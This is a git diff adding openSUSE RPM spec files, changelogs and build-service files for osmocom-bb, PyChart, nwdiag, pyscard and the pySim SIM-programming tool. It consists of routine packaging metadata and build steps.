diff --git a/rpm-local/spec/osmocom-bb/osmocom-bb.rpmlintrc b/rpm-local/spec/osmocom-bb/osmocom-bb.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/osmocom-bb.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb/osmocom-bb.spec b/rpm-local/spec/osmocom-bb/osmocom-bb.spec
new file mode 100644
index 0000000..8fa3b13
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/osmocom-bb.spec
@@ -0,0 +1,153 @@
+#
+# spec file for package osmocom-bb
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%ifarch %{ix86} x86_64
+%define build_firmware 1
+%else
+%define build_firmware 0
+%endif
+
+%define osmocom_bb_dir /opt/osmocom-bb
+
+Name: osmocom-bb
+Version: 0.0.0.git1588674152.901ac897
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+URL: http://bb.osmocom.org/trac/
+Source: %{name}-%{version}.tar.xz
+Patch2: osmocom-bb-enable-tx.patch
+Patch3: osmocom-bb-pkgconfig-find-lua.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: git-core
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: python
+# SLES does not provide gpsd-devel, so build without gps-support on those systems
+%if 0%{?is_opensuse}
+BuildRequires: pkgconfig(libgps)
+%endif
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocoding)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogb)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+%if 0%{?suse_version} >= 1500
+BuildRequires: pkgconfig(lua) >= 5.3
+%endif
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q
+%patch2 -p1
+%patch3 -p1
+# HACK: Don't use /usr/bin/env as an interpreter
+sed -i 's|#!/usr/bin/env python2|#!/usr/bin/python2|g' src/target/trx_toolkit/*.py
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+#
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags}
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags}
+%endif
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+install -Dm 0755 src/host/virt_phy/src/virtphy %{buildroot}/%{osmocom_bb_dir}/host/virt_phy/src/virtphy
+install -Dm 0755 src/host/gprsdecode/gprsdecode %{buildroot}/%{osmocom_bb_dir}/host/gprsdecode/gprsdecode
+install -Dm 0755 src/host/trxcon/trxcon %{buildroot}/%{osmocom_bb_dir}/host/trxcon/trxcon
+install -d %{buildroot}/%{osmocom_bb_dir}/target/trx_toolkit/
+install -m 0755 src/target/trx_toolkit/*.py %{buildroot}/%{osmocom_bb_dir}/target/trx_toolkit/
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# FreeCalpyso FCDEV3B
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/fcdev3b
+cp src/target/firmware/board/fcdev3b/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/fcdev3b
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Huawei GTM900-B
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gtm900b/
+cp src/target/firmware/board/gtm900b/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gtm900b/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%dir %{osmocom_bb_dir}
+%{osmocom_bb_dir}/host
+%dir %{osmocom_bb_dir}/target
+%{osmocom_bb_dir}/target/trx_toolkit
+
+%if 0%{?build_firmware}
+%files firmware
+%exclude %{osmocom_bb_dir}/target/trx_toolkit
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/python-PyChart/python-PyChart.changes b/rpm-local/spec/python-PyChart/python-PyChart.changes
new file mode 100644
index 0000000..261ff26
--- /dev/null
+++ b/rpm-local/spec/python-PyChart/python-PyChart.changes
@@ -0,0 +1,12 @@
+-------------------------------------------------------------------
+Sun Nov 10 15:53:54 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Convert to singlespec
+- Package cleanup
+- Fix source (URL was broken)
+
+-------------------------------------------------------------------
+Thu Jun 21 12:18:55 UTC 2012 - saschpe@suse.de
+
+- Initial version
+
diff --git a/rpm-local/spec/python-PyChart/python-PyChart.spec b/rpm-local/spec/python-PyChart/python-PyChart.spec
new file mode 100644
index 0000000..dcf670f
--- /dev/null
+++ b/rpm-local/spec/python-PyChart/python-PyChart.spec
@@ -0,0 +1,56 @@
+#
+# spec file for package python-PyChart
+#
+# Copyright (c) 2019 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%{?!python_module:%define python_module() python-%{**} python3-%{**}}
+Name: python-PyChart
+Version: 1.39
+Release: 0
+Summary: Python Chart Generator
+Group: Development/Languages/Python
+License: GPL-2.0-or-later
+URL: http://home.gna.org/pychart/
+Source: PyChart-%{version}.tar.gz
+BuildRequires: python-rpm-macros
+BuildRequires: fdupes
+BuildRequires: %{python_module setuptools}
+BuildArch: noarch
+%python_subpackages
+
+%description
+Pychart is a Python library for creating high-quality
+charts in Postscript, PDF, PNG, and SVG.
+It produces line plots, bar plots, range-fill plots, and pie
+charts.
+
+%prep
+%setup -q -n PyChart-%{version}
+find demos/ -exec sed -i 's/\r$//' {} \;
+
+%build
+%python_build
+
+%install
+%python_install
+%python_expand %fdupes %{buildroot}%{$python_sitelib}
+
+%files %{python_files}
+%license COPYING
+%doc README demos
+%{python_sitelib}/*
+
+%changelog
diff --git a/rpm-local/spec/python-nwdiag/python-nwdiag.changes b/rpm-local/spec/python-nwdiag/python-nwdiag.changes
new file mode 100644
index 0000000..5d72ff2
--- /dev/null
+++ b/rpm-local/spec/python-nwdiag/python-nwdiag.changes
@@ -0,0 +1,23 @@
+-------------------------------------------------------------------
+Fri Feb 28 22:58:57 UTC 2020 - Dirk Mueller <dmueller@suse.com>
+
+- update to 2.0.0:
+ * Drop python2 and python3.4 support
+ * Fix a bug
+ - #23: Crash in antialias mode
+
+-------------------------------------------------------------------
+Sun Nov 10 18:11:35 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Add python-setuptools to Requires
+ * pkg_resources is a runtime dependency
+
+-------------------------------------------------------------------
+Sun Jun 2 18:04:56 UTC 2019 - Jan Engelhardt <jengelh@inai.de>
+
+- Avoid name repetition in summary.
+
+-------------------------------------------------------------------
+Wed May 22 14:10:38 UTC 2019 - Thomas Bechtold <tbechtold@suse.com>
+
+- Initial packaging (version 1.0.4)
diff --git a/rpm-local/spec/python-nwdiag/python-nwdiag.spec b/rpm-local/spec/python-nwdiag/python-nwdiag.spec
new file mode 100644
index 0000000..8d94981
--- /dev/null
+++ b/rpm-local/spec/python-nwdiag/python-nwdiag.spec
@@ -0,0 +1,64 @@
+#
+# spec file for package python-nwdiag
+#
+# Copyright (c) 2020 SUSE LLC
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%{?!python_module:%define python_module() python-%{**} python3-%{**}}
+%global skip_python2 1
+Name: python-nwdiag
+Version: 2.0.0
+Release: 0
+Summary: Generator for network diagram images from text
+License: Apache-2.0
+Group: Development/Languages/Python
+URL: http://blockdiag.com/
+Source: https://files.pythonhosted.org/packages/source/n/nwdiag/nwdiag-%{version}.tar.gz
+BuildRequires: %{python_module setuptools}
+BuildRequires: fdupes
+BuildRequires: python-rpm-macros
+Requires: python-blockdiag >= 1.5.0
+Requires: python-setuptools
+Suggests: python-reportlab
+Suggests: python-docutils
+Suggests: python-nose
+Suggests: python-reportlab
+Suggests: python-docutils
+BuildArch: noarch
+
+%python_subpackages
+
+%description
+nwdiag generates network diagram images from text.
+
+%prep
+%setup -q -n nwdiag-%{version}
+
+%build
+%python_build
+
+%install
+%python_install
+%python_expand %fdupes %{buildroot}%{$python_sitelib}
+
+%files %{python_files}
+%doc README.rst
+%license LICENSE
+%python3_only %{_bindir}/nwdiag
+%python3_only %{_bindir}/rackdiag
+%python3_only %{_bindir}/packetdiag
+%{python_sitelib}/*
+
+%changelog
diff --git a/rpm-local/spec/python-pyscard/python-pyscard.changes b/rpm-local/spec/python-pyscard/python-pyscard.changes
new file mode 100644
index 0000000..f5abd29
--- /dev/null
+++ b/rpm-local/spec/python-pyscard/python-pyscard.changes
@@ -0,0 +1,107 @@
+-------------------------------------------------------------------
+Sun Nov 24 16:44:11 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 1.9.9
+ * test: fix Exception test on 32-bits CPU
+
+-------------------------------------------------------------------
+Thu Apr 4 07:08:04 UTC 2019 - Torsten Gruner <t.gruner@katodev.de>
+
+- Fix Exception test on 32-bits CPU. Issue #72
+
+-------------------------------------------------------------------
+Mon Mar 25 22:55:08 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 1.9.8
+ * SmartcardException: store the PC/SC return code in hresult
+ * CardMonitoring: stop the looping only if PCSC exited
+ * Minor documentation improvements
+
+-------------------------------------------------------------------
+Wed Jun 20 18:25:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.9.7
+ * Modify CardMonitoring's deleteObserver method to cleanly remove threads
+ * Python 3: fix smartcard/Synchronization.py
+ * Python 3: Fix SCardGetErrorMessage() on Windows
+ * PCSCPart10: add parseFeatureRequest(), parseTlvProperties()
+ * Fix PEP8 warnings
+ * Minor documentation improvements
+
+-------------------------------------------------------------------
+Mon Nov 27 12:15:09 UTC 2017 - t.gruner@katodev.de
+
+- update to version 1.9.6 (August 2017)
+ - include test/__init__.py in the archive tarball.
+ "make test" now works. That fixes build using Python 3.6
+- fix spec file
+
+-------------------------------------------------------------------
+Fri May 5 12:07:38 UTC 2017 - t.gruner@katodev.de
+
+- single spec for python 2 and python 3
+- Update to version 1.9.5 (Feb 2017)
+ - SCardGetStatusChange(): fix a memory leak with Python 3
+ - SCardTransmit(): use SCARD_PCI_RAW for undefined protocol
+ - Improve epydoc documentation
+- verison 1.9.4 (May 2016)
+ - Fix installation using pip and easy_install
+ - Avoid El Capitan SCardGetAttrib bug
+ - CardConnection: Add context management
+ - PCSCCardConnection: raise NoCardException if SCARD_E_NO_SMARTCARD
+ - Stop CardMonitor monitor thread after traceback print.
+ - minor improvements
+- verison 1.9.3 (March 2016)
+ - Fix SCardControl() on Windows 7
+ - Fix installation using pip and easy_install
+- verison 1.9.2 (February 2016)
+ - Fix toBytes regression
+ - Fix installation using pip
+ - improve pydoc documentation
+ - user-guide.rst: use real sample codes
+ - minor improvements
+- verison 1.9.1 (September 2015)
+ - Create a new version so that the upload to Pypi does _not_
+ contain the swig generated files.
+
+-------------------------------------------------------------------
+Fri Oct 16 07:38:21 UTC 2015 - t.gruner@katodev.de
+
+- Version 1.9.0 (August 2015)
+ - add Python3 support (Python2 is still supported)
+ - fix a lot of pylint warnings
+ - smartcard/test/* replace deprecated assert calls
+ - add tox support and coverage reports, run test suite on Travis
+ - add Travis CI support to automatically build on Unix
+ - add AppVeyor support to automatically build on Windows
+ - minor bugs fixed
+ - Big thank you to Alex Willmer for his work on pyscard
+- Version 1.7.0 (June 2015)
+ - PCSCCardConnection: Fix a problem with mode=SCARD_SHARE_DIRECT
+ - add support of cygwin as a build platform
+ - Fix a problem with Windows Remote Desktop
+ - Switch from distutils to setuptools
+ - dropped support for Python 2.5 and earlier (Alex Willmer)
+ - dropped support for OS X 10.5 (Leopard) and earlier (Alex Willmer)
+ - minor bugs fixed
+
+-------------------------------------------------------------------
+Thu Jul 16 13:54:00 UTC 2015 - t.gruner@katodev.de
+
+- move changelog to a file
+
+
+* Sun Jan 11 2014 pedro@pgalves - 1.6.16
+- added support for windows 64bit amd64 (Jean-Daniel Aussel)
+- support python "new" classes (derive classes from object) (Ludovic Rousseau from chrysn feature request ID 3110077)
+- fixed Reader.__eq__() (Ludovic Rousseau from Bernard Paulus bug ID 3418113)
+- fixed extended APDU transmit buffer too short by 2 (Jean-Daniel Aussel from bugs ID 2914636 and 3106761)
+- make Card and Reader objects hashable (Jean-Daniel Aussel from Hans-Peter Jansen feature request and patch)
+- convert the user guide to python-Sphinx
+* Fri May 27 2011 hpj@urpla.net - 1.6.14
+- update to 1.6.14 svn 529
+* Wed May 25 2011 hpj@urpla.net - 1.6.12
+- add docs
+* Wed May 25 2011 hpj@urpla.net - 1.6.12
+- initial version
+
diff --git a/rpm-local/spec/python-pyscard/python-pyscard.spec b/rpm-local/spec/python-pyscard/python-pyscard.spec
new file mode 100644
index 0000000..68a1c9b
--- /dev/null
+++ b/rpm-local/spec/python-pyscard/python-pyscard.spec
@@ -0,0 +1,70 @@
+#
+# spec file for package python-pyscard
+#
+# Copyright (c) 2019 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2011 LISA GmbH, Bingen, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%{?!python_module:%define python_module() python-%{**} python3-%{**}}
+%bcond_without test
+%define modname pyscard
+Name: python-pyscard
+Version: 1.9.9
+Release: 0
+Summary: Python module adding smart card support
+License: LGPL-2.0-or-later
+Group: Development/Languages/Python
+URL: http://pyscard.sourceforge.net/
+Source: https://files.pythonhosted.org/packages/source/p/pyscard/pyscard-%{version}.tar.gz
+BuildRequires: %{python_module devel}
+BuildRequires: %{python_module setuptools}
+BuildRequires: dos2unix
+BuildRequires: fdupes
+BuildRequires: pcsc-lite-devel
+BuildRequires: pkgconfig
+BuildRequires: python-rpm-macros
+BuildRequires: swig
+Requires: pcsc-ccid
+%python_subpackages
+
+%description
+Python-pyscard consists of smartcard.scard, an extension module wrapping
+Windows smart card base components (also known as PCSC) on Windows and PCSC
+lite on linux and Mac OS X Tiger and Leopard, and smartcard, a higher level
+python framework built on top of the raw PCSC API.
+
+%prep
+%setup -q -n %{modname}-%{version}
+mv smartcard/doc .
+dos2unix LICENSE
+
+%build
+export CFLAGS="%{optflags}"
+%python_build
+
+%install
+%python_install
+%python_expand %fdupes %{buildroot}%{$python_sitearch}
+%if %{with test}
+%check
+%python_exec setup.py test
+%endif
+
+%files %{python_files}
+%doc ChangeLog doc README.md
+%license LICENSE
+%{python_sitearch}/*
+
+%changelog
diff --git a/rpm-local/spec/python-pysim/_service b/rpm-local/spec/python-pysim/_service
new file mode 100644
index 0000000..08fc7d9
--- /dev/null
+++ b/rpm-local/spec/python-pysim/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/pysim</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="filename">pysim</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">pysim*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ <param name="basename">pysim</param>
+ </service>
+</services>
diff --git a/rpm-local/spec/python-pysim/_servicedata b/rpm-local/spec/python-pysim/_servicedata
new file mode 100644
index 0000000..ce2c95e
--- /dev/null
+++ b/rpm-local/spec/python-pysim/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/pysim</param>
+ <param name="changesrevision">ee15c77185615af669f0efe1e19a9fa748e224aa</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/python-pysim/python-pysim.spec b/rpm-local/spec/python-pysim/python-pysim.spec
new file mode 100644
index 0000000..afbcd2d
--- /dev/null
+++ b/rpm-local/spec/python-pysim/python-pysim.spec
@@ -0,0 +1,59 @@
+#
+# spec file for package python-pysim
+#
+# Copyright (c) 2016, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: python-pysim
+Version: 0.0.0.git1587983340.ee15c77
+Release: 0
+Summary: A python tool to program magic SIMs
+License: GPL-2.0-only
+Group: Productivity/Telephony/Utilities
+URL: http://cgit.osmocom.org/pysim/
+Source: pysim-%{version}.tar.xz
+BuildRequires: python2-devel
+Requires: python-pycrypto
+Requires: python-pyserial
+Recommends: python-pyscard
+BuildArch: noarch
+
+%description
+Python tool to program a variety of SIM/USIM cards with Ki/ICCID/IMSI/...
+
+%prep
+%setup -q -n pysim-%{version}
+# HACK: force python2
+find ./pySim -type f | xargs sed -i -e '/^#!\//, 1d'
+sed -i 's|%{_bindir}/env python|%{_bindir}/python2|g' pySim/*.py
+sed -i 's|%{_bindir}/env python2|%{_bindir}/python2|g' pySim-*.py
+# Drop shebang from non-execeutables
+find ./pySim -type f | xargs sed -i -e '/^#!\//, 1d'
+
+%build
+
+%install
+install -Dm 0755 pySim-prog.py %{buildroot}/%{_bindir}/pySim-prog
+install -Dm 0755 pySim-read.py %{buildroot}/%{_bindir}/pySim-read
+install -d %{buildroot}/%{python_sitelib}/
+mv pySim/ %{buildroot}/%{python_sitelib}/
+
+%files
+%license COPYING
+%doc README.md
+%{python_sitelib}/pySim/
+%{_bindir}/pySim-prog
+%{_bindir}/pySim-read
+
+%changelog
diff --git a/rpm-local/spec/python-pysim/python-pysim.spec.changes b/rpm-local/spec/python-pysim/python-pysim.spec.changes
new file mode 100644
index 0000000..c5ff8f7
--- /dev/null
+++ b/rpm-local/spec/python-pysim/python-pysim.spec.changes
@@ -0,0 +1,448 @@
+-------------------------------------------------------------------
+Wed Apr 29 20:04:05 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1587983340.ee15c77:
+ * Enable parsing of ISIM Service table (IST)
+ * Extend parsing and printing of Service table to ISIM
+ * Define mapping between ISIM Service Number and its description
+ * Enable parsing of USIM Service table (UST)
+ * Remove redundant functions
+ * Use helper method to print available service in EF.SST
+ * utils.py: Add helper method to parse and print Service Table
+
+-------------------------------------------------------------------
+Mon Apr 27 20:03:58 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1587976909.3e6f16d:
+ * pySim-read.py: Add ability to read Cards with correct CLA, P1 and P2 bytes
+
+-------------------------------------------------------------------
+Sun Apr 19 20:04:10 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1587016515.f9f3e5e:
+ * cards.py: Added method to select ADF by its full AID
+ * Populate AIDs present on the UICC
+
+-------------------------------------------------------------------
+Fri Apr 17 20:04:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1587015508.475dcaa:
+ * Define mapping between USIM Service Number and its description
+ * Add ability to parse SIM Service Table (EF.SST)
+
+-------------------------------------------------------------------
+Wed Apr 01 20:04:34 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1585732019.441c4a7:
+ * utils.py: Add helper method to parse Service Table
+ * Define mapping between SIM Service Number and its description
+ * Use the generic method read_binary of card class to read AD
+ * Move parsing of MSISDN to generic Card class
+ * Use the generic method read_binary of card class to read ACC
+ * Move parsing of HPLMNAcT to generic Card class
+ * Move parsing of OPLMNwAcT to generic Card class
+ * Move parsing of PLMNwAcT to generic Card class
+ * Use the generic method read_binary of card class to read PLMNsel
+ * pySim-read.py: Use the method declared in cards.py to read SPN
+ * Use the generic method read_record of card class to read SMSP
+ * Use read_binary function of card class to read GID2 and reduce code duplication
+ * cards.py: Add generic function to read EF record in card class
+ * cards.py: Add generic function to read EF binary to card class
+ * Move parsing of GID2 to generic Card class
+
+-------------------------------------------------------------------
+Sat Mar 28 21:03:52 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1584868625.98a6927:
+ * Move parsing of GID1 to generic Card class
+ * pySim-read.py: Use the method declared in cards.py to read IMSI
+ * pySim-read.py: Use the method declared in cards.py to read ICCID
+
+-------------------------------------------------------------------
+Fri Mar 27 21:07:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1584868623.4c306ab:
+ * pySim-read.py: Added a common card detection function for both pySim-prog.py and pySim-read.py
+ * cards.py: Added parsing of all the AIDs in the UICC
+
+-------------------------------------------------------------------
+Fri Mar 13 21:03:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1584085485.0e90e6c:
+ * pySim-read.py: support for reading GID2 from SIM
+ * pySim-read.py: support for reading GID1 from SIM
+
+-------------------------------------------------------------------
+Wed Mar 11 21:04:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1583926520.d950786:
+ * sysmoISIM-SJA2: Add suport for USIM-only and ISIM-only cards
+ * sysmiISIM-SJA2: add support for new card model / os version
+
+-------------------------------------------------------------------
+Sun Mar 01 21:03:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1582744847.9664b2e:
+ * cards: Python 3 fix: use the floor division operator //
+ * commands: Python 3 fix: properly distinguish str and list
+ * transport/pcsc: explicitly specify T0 protocol
+ * transport/pcsc: cosmetic: reuse the existing code of PcscSimLink
+ * utils: fix dec_msisdn(): properly detect international numbers
+
+-------------------------------------------------------------------
+Sat Feb 15 21:04:31 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1581793910.99affe1:
+ * Py2 -> Py3: use the floor division operator // where possible
+ * pySim-read.py: do not import json, it is not needed
+ * pySim-prog.py: add support for MSISDN programming
+ * pySim-read.py: fix reading and parsing of EF.MSISDN
+ * Fix MCC and MCC representation in the output of pySim-read
+ * cards/sysmoUSIM-SJS1: support programming of EF.HPLMNwAcT
+ * cards/sysmoUSIM-SJS1: support programming of ACC bits
+ * cards: fix reading of EF.HPLMNwAcT in Card.update_hplmn_act()
+ * cards: cosmetic/indentation fix: use tabs, not spaces
+ * pySim-prog.py: add presence/length checks for user-provided SPN
+ * pySim-read.py: print meaningful message when SPN is not set
+
+-------------------------------------------------------------------
+Fri Feb 14 21:13:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1581695198.a3bb334:
+ * pySim-read.py: fix copy-paste: s/HPLMNAcT/PLMNsel/
+ * Fix compatibility with Python 3: print() is a function
+ * testdata/sysmoUSIM-SJS1.ok: make it match the actual EF.HPLMNAcT
+
+-------------------------------------------------------------------
+Fri Jan 31 21:23:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1579602726.e51643e:
+ * Fix file permission
+ * Added feature to program SPN into sysmoUSIM-SJS1 SIM cards
+
+-------------------------------------------------------------------
+Tue Jan 21 21:10:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1579600838.f829945:
+ * Added feature to read Service Provider Name (SPN) from the SIM card
+
+-------------------------------------------------------------------
+Thu Jan 09 21:09:43 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1577811762.0ad5bcf:
+ * cards: Add support for sysmo-isim-sja2
+
+-------------------------------------------------------------------
+Tue Dec 31 21:03:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1577811762.07cd481:
+ * Fixup: Fix automated tests
+
+-------------------------------------------------------------------
+Mon Dec 23 21:07:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1576845761.cdfdd41:
+ * commands: fix __record_len()
+
+-------------------------------------------------------------------
+Tue Dec 17 21:05:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1576505607.4e72439:
+ * Fix automated tests
+
+-------------------------------------------------------------------
+Tue Nov 12 21:10:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1573562182.76db7d7:
+ * Fairwaves-SIM: Add test data
+
+-------------------------------------------------------------------
+Mon Nov 11 21:06:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1573466599.5a87631:
+ * cards.py: do not use spaces in card names
+
+-------------------------------------------------------------------
+Mon Oct 07 20:12:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1569674731.8902bcd:
+ * python3 conversion: Use python 2 and 3 compatible exceptions
+
+-------------------------------------------------------------------
+Sat Sep 28 20:07:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1568555582.84d2cb3:
+ * python3 conversion: fix tabs and spaces inconsistency
+
+-------------------------------------------------------------------
+Sat Sep 14 20:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1568365453.7592eee:
+ * pySim-prog: use functions to derive MCC/MNC from IMSI
+ * cards: use string representation for MNC/MCC
+ * pySim-prog: check if CSV file exists
+ * pySim-prog: use case insensitive CSV headers.
+ * pySim-prog.py: use more expressive error message on CSV read failure
+
+-------------------------------------------------------------------
